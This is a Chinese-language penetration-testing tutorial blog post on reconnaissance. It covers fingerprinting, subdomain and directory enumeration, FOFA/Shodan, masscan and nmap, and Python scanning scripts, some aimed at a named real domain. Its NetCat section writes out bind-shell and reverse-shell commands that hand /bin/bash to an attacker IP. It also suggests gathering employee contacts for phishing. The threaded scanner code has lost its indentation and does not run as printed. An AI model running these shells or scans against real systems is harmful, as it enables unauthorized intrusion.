Web漏洞挖掘篇(二)—信息收集

发布于:2025-09-07 ⋅ 阅读:(28) ⋅ 点赞:(0)

書接上回:WEB漏洞挖掘篇(一) 基本概念、十大常見WEB漏洞-CSDN博客

建議資源:

VMware虛擬機:https://www.techspot.com/downloads/189-vmware-workstation-for-windows.html#google_vignette

win12:https://windows-12.en.softonic.com/

kali:Get Kali | Kali Linux


引言

        在網路安全領域,無論是滲透測試還是紅隊行動,資訊收集都是整個過程中最至關重要、奠定基礎的階段。正所謂“知己知彼,百戰不殆”,掌握的目標資訊越多,後續的行動就越順利。本文將系統性地剖析資訊收集的五大核心要素,並深入講解從手動技巧到自動化工具的高級實戰方法。



目录

引言

一、核心目標:收集五大關鍵要素

二、手動資訊收集技巧

        2.1  操作系統與中間件識別

        2.2  語言腳本探測

         2.2.1  搜索引擎技巧

        2.3  源碼資訊(CMS)識別

        2.3.1  查看網頁源碼

        2.3.2  開發者工具調試器

        2.4  數據庫類型探測

三、域名與目錄資訊收集

        3.1 後台入口發現

        3.2  子域名挖掘

        3.3  目錄與敏感文件掃描

四、瑞士軍刀:NetCat (NC) 

        4.1  常用參數:

        4.2  實戰應用

        4.2.1  端口掃描

        4.2.2  Banner 抓取(深入掃描)

        4.2.3  遠程後門(Bind Shell)

        4.2.4  文件傳輸

        4.2.5  反向連接(Reverse Shell) - 繞過防火牆

五、自動化資訊收集

        5.1  瀏覽器插件 - Wappalyzer

        5.2  網路空間搜索引擎

        5.3  社工資訊收集

六、高級掃描工具

        6.1 Masscan - 最快的端口掃描器

        6.2  Nmap - 最全面的網路映射器

七、Python 資訊收集實戰

        7.1  域名解析為 IP

        7.2  WHOIS 資訊查詢

        7.3  子域名爆破(需字典文件 dict.txt)

        7.4  簡易端口掃描器

        7.5  線程端口掃描

八、小結


一、核心目標:收集五大關鍵要素

        一次成功的資訊收集旨在全面描繪目標系統的畫像,主要圍繞以下五個方面展開:

  1. 操作系統(OS):如 Windows Server、Debian、Ubuntu、CentOS 等。

  2. 中間件(Web Server):如 IIS、Apache、Nginx、Tomcat 等。

  3. 語言腳本:如 PHP、ASP、ASPX、JSP 等。

  4. 源碼資訊:如 WordPress、Discuz!、Drupal、ThinkPHP 等知名 CMS 或框架。

  5. 數據庫(DB):如 MySQL、Microsoft SQL Server、Oracle、PostgreSQL 等。

二、手動資訊收集技巧

        2.1  操作系統與中間件識別

最簡單直接的方法:瀏覽器開發者工具

  1. 訪問目標網站。

  2. 按 F12 打開開發者工具。

  3. 切換到 “網路”(Network) 選項卡。

  4. 刷新頁面,查看任意 HTTP 請求的響應頭中的 Server 或 X-Powered-By 字段。

    • Server: Microsoft-IIS/10.0 → Windows Server

    • Server: Apache/2.4.29 (Ubuntu) → Ubuntu Linux

    • X-Powered-By: PHP/7.2.24 → PHP

        網上一查就會知道源碼信息是WordPress了

        2.2  語言腳本探測

         2.2.1  搜索引擎技巧

        在 Bing 中搜索:<target.com> *.php。如果返回了大量結果,說明網站很可能使用 PHP 開發。同理,可嘗試 *.asp*.jsp*.aspx

        2.3  源碼資訊(CMS)識別

        2.3.1  查看網頁源碼
  1. 在頁面空白處右鍵,選擇“查看頁面源代碼”。

  2. 查看 <head> 區域的 <meta> 標籤、引入的 CSS/JS 文件路徑、註釋等資訊。

  3. 滑動到頁面最底部,很多網站會直接標明 “Powered by XXX”。

        2.3.2  開發者工具調試器
  1. 按 F12 打開開發者工具。

  2. 切換到 “調試器”(Debugger) 或 “源代碼”(Sources) 選項卡。

  3. 查看引用的核心 JavaScript 或 CSS 文件的目錄名、文件名,這些往往是 CMS 的名稱(如 /wp-content/ 即 WordPress)。

        2.4  數據庫類型探測

        不同的數據庫默認運行在特定的端口上。掃描目標服務器開放端口是識別數據庫類型的高效方法。

  • MySQL → 3306

  • MSSQL → 1433

  • Oracle → 1521

  • PostgreSQL → 5432

  • Redis → 6379

實戰方法:使用在線端口掃描網站(如 tool.chinaz.com/port)或本地工具(如 Nmap),輸入目標 IP 或域名,檢測上述端口的開放狀態。(盡量多用不同的掃描網站,成功的機會更大)

三、域名與目錄資訊收集

        3.1 後台入口發現

網站後台通常是安全防禦的薄弱點。常見後台路徑如下:

  • /admin/

  • /login/

  • /manage/

  • /wp-admin/ (WordPress)

  • /administrator/ (Joomla)

        3.2  子域名挖掘

        主域名(如 jd.com)防禦堅固,但其子域名(如 person.jd.comdev.jd.com)可能安全性較低,是絕佳的突破口。

實戰方法:使用子域名查詢工具或網站:

  • 在線工具subdomain.topsearchdns.netcraft.comdnsdumpster.com

  • 本地工具subDomainsBruteSublist3rOneForAll

        3.3  目錄與敏感文件掃描

        使用工具對網站目錄進行暴力猜解,旨在發現隱藏的目錄、備份文件(.bak.zip)、配置文件(config.php)、日誌文件等。

推薦工具

  • 御劍:經典的目錄掃描工具,圖形化界面,易於使用。

  • 7kbscan:速度較快的Web路徑掃描器。

  • DirBuster / Gobuster:Kali Linux 下的強大目錄掃描工具。

成功標誌:掃描到登入後台、文件上傳點、配置文件等關鍵路徑。

四、瑞士軍刀:NetCat (NC) 

NetCat 是網路診斷和開發的最終工具,被譽為“TCP/IP 瑞士軍刀”。

        4.1  常用參數:

  • -l:監聽模式

  • -p:指定端口

  • -v:顯示詳細輸出

  • -n:直接使用 IP 地址,不進行 DNS 解析

  • -z:零 I/O 模式,用於掃描

  • -e:執行程式(後門功能的關鍵)

        4.2  實戰應用

        4.2.1  端口掃描
# 掃描目標IP的指定端口範圍
nc -nvv -w 1 -z 192.168.1.100 1-100
        4.2.2  Banner 抓取(深入掃描)
# 連接80端口並獲取Web服務資訊
echo "" | nc -nv 192.168.1.100 80
        4.2.3  遠程後門(Bind Shell)
  • 目標機子(執行)

     nc -lvp 6666 -e /bin/bash     (Linux) 

      nc.exe -lvp 6666 -e cmd.exe (Windows 且該目錄下需要有nc.exe等等文件)

  • 攻擊者機子(連接)

                  nc 192.168.1.100 6666

目標機子打開6666端口,一但有人連接到6666端口就會把cmd或/bin/bash交給對方

​​​​​​​結果:攻擊者獲得目標機器的一個遠程命令行 shell。即攻擊者可以操控目標機子的cmd

        4.2.4  文件傳輸
  • 接收端(服務端)nc -lvp 6666 > received_file.txt(命名)

  • 發送端(客戶端)nc -nv 192.168.1.100 6666 < file_to_send.txt(指定文件名)

客戶端打開6666端口,當有人連接到6666端口時就會把指定文件傳送到該機子,並命名存儲

        4.2.5  反向連接(Reverse Shell) - 繞過防火牆
  • 攻擊者(監聽)nc -lvp 9999

  • 目標機子(連接)nc -e /bin/bash 10.0.0.1 9999 (假設 10.0.0.1 是攻擊者 IP)

變成攻擊者打開9999端口,當目標機子連接到9999端口時,就會把/bin/bash傳送給攻擊者。

​​​​​​​結果:目標機子主動連接到攻擊者,攻擊者獲得 shell。

五、自動化資訊收集

        5.1  瀏覽器插件 - Wappalyzer

        在火狐上安裝此插件後,訪問任何網站,它都會自動分析並顯示其使用的技術棧,包括 CMS、編程語言、Web 服務器、JavaScript 框架等。

        5.2  網路空間搜索引擎

        這些引擎可以對全球互聯網設備進行檢索,是資訊收集的“大殺器”。順便一提,大部份都是要課金的喔(主要用FOFA就行了)

  • FOFAfofa.so

    • 語法:domain="baidu.com"(域名)app="ThinkPHP"(程序)port="9000"(端口)city="Beijing"(地區)……

  • Shodanshodan.io - 側重於服務器、IoT 設備資訊。

  • ZoomEyezoomeye.org - 中國的網路空間搜索引擎。

  • 360 Quakequake.360.cn - 360 推出的網路空間安全搜索引擎。

        5.3  社工資訊收集

愛企查 / 企查查:用於收集目標企業的組織架構、員工郵箱、電話號碼等資訊,為釣魚攻擊做準備。(也是需要課金的)

六、高級掃描工具

        常規用法是先用masscan大範圍掃描,再以nmap精確打撃

        6.1 Masscan - 最快的端口掃描器

        用於超大規模、快速的端口掃描。不過結果可能不精準(太快了)

# 掃描一個網段的所有80端口
sudo masscan -p 80 192.168.2.0/24
# 掃描指定IP範圍的裝置的80-90端口
sudo masscan -p 80-90 --range 192.168.2.1-192.168.2.255
# 探測網段記憶活的主機
sudo masscan --ping 192.168.2.0/24
# 調整速度(太快可能會出錯)
sudo masscan -p 80 192.168.2.0/24 --rate=10000

        6.2  Nmap - 最全面的網路映射器

        用於端口掃描、服務版本探測、操作系統識別等深度掃描。(精準打撃,但比較慢)

# 基礎掃描
nmap 192.168.1.100
# 服務版本探測
nmap -sV 192.168.1.100
# 操作系統探測
nmap -O 192.168.1.100
# 指定端口掃描
nmap -p 80,443,3306 192.168.1.100
# 將結果輸出到文件
nmap -O -sV 192.168.1.100 -oN result.txt

七、Python 資訊收集實戰

        自動化是提升效率的關鍵。以下是一些簡單的 Python 腳本示例。

        7.1  域名解析為 IP

import socket
hostname = 'vivo.com.cn'
ip = socket.gethostbyname(hostname)
print(f"[+] {hostname} 的 IP 地址是: {ip}")

        7.2  WHOIS 資訊查詢

import whois
def whois_check(domain):
    try:
        w = whois.whois(domain)
        print(f"註冊人: {w.name}")
        print(f"註冊郵箱: {w.emails}")
        print(f"註冊商: {w.registrar}")
        print(f"註冊時間: {w.creation_date}")
    except Exception as e:
        print(f"查詢失敗: {e}")

whois_check("vivo.com.cn")

        7.3  子域名爆破(需字典文件 dict.txt

import socket
import time

def check_subdomain(domain):
    with open("dict.txt", "r") as f:
        for sub in f:
            sub = sub.strip()
            url = f"{sub}.{domain}"
            try:
                ip = socket.gethostbyname(url)
                print(f"[+] Found: {url} -> {ip}")
            except socket.gaierror:
                print(f"[-] Not Found: {url}")
            time.sleep(0.5) # 避免請求過快

check_subdomain("vivo.com.cn")

        7.4  簡易端口掃描器

import socket

def port_scan(ip, port):
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(0.5)
    result = sk.connect_ex((ip, port)) # 返回0表示成功
    sk.close()
    return result == 0

target_ip = "127.0.0.1"
for port in [80, 443, 3306, 3389]:
    if port_scan(target_ip, port):
        print(f"[+] Port {port} is OPEN")
    else:
        print(f"[-] Port {port} is CLOSED")

        7.5  線程端口掃描

import socket
import sys
import threading
import queue
import time
def get_ip(name):
 ip = socket.gethostbyname(name)
 return ip
def port_test(ip):
 # 創建socket對象 默認为TCP連接
 # sk = socket.socket(網絡類型,socket類型)
 # socket.AF_INET:ipv4, socket.SOCK_STREAM:tcp連接
 # 建⽴鏈接 連接失敗 則報錯
 while True:
 if q.empty():
 break
 sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 port = q.get()
 try:
 # 獲取隊列中的端⼝
 sk.connect((ip,port))
 print(ip,':',port,'----連接成功')
 except: # 捕獲異常
 print(port,'失敗')
 pass
 # 關閉連接
 sk.close()
 time.sleep(1)
# python .\py5.py 127.0.0.1 1000
if __name__ == '__main__':
 ip = sys.argv[1]
 th_nums = int(sys.argv[2])
 # ip = get_ip(yuming)
 # 創建⼦線程
 # 創建線程隊列
 q = queue.Queue()
 for i in range(1,65535):
 q.put(i)
 for i in range(th_nums):
 t = threading.Thread(target=port_test,args=(ip,)) t.start()

八、小結

        資訊收集是一個反覆循環、逐步深入的過程。本文介紹的方法和工具僅是冰山一角,但其核心思想是相通的:由外到內,由粗到精,多源印證,持續進行。真正的安全工程師會根據目標情況靈活組合這些技巧,構建出完整的目標畫像,從而為後續的漏洞探測和滲透打開突破口。

注意:請務必在獲得授權的前提下進行所有安全測試活動,遵守法律法規。



网站公告

今日签到

点亮在社区的每一天
去签到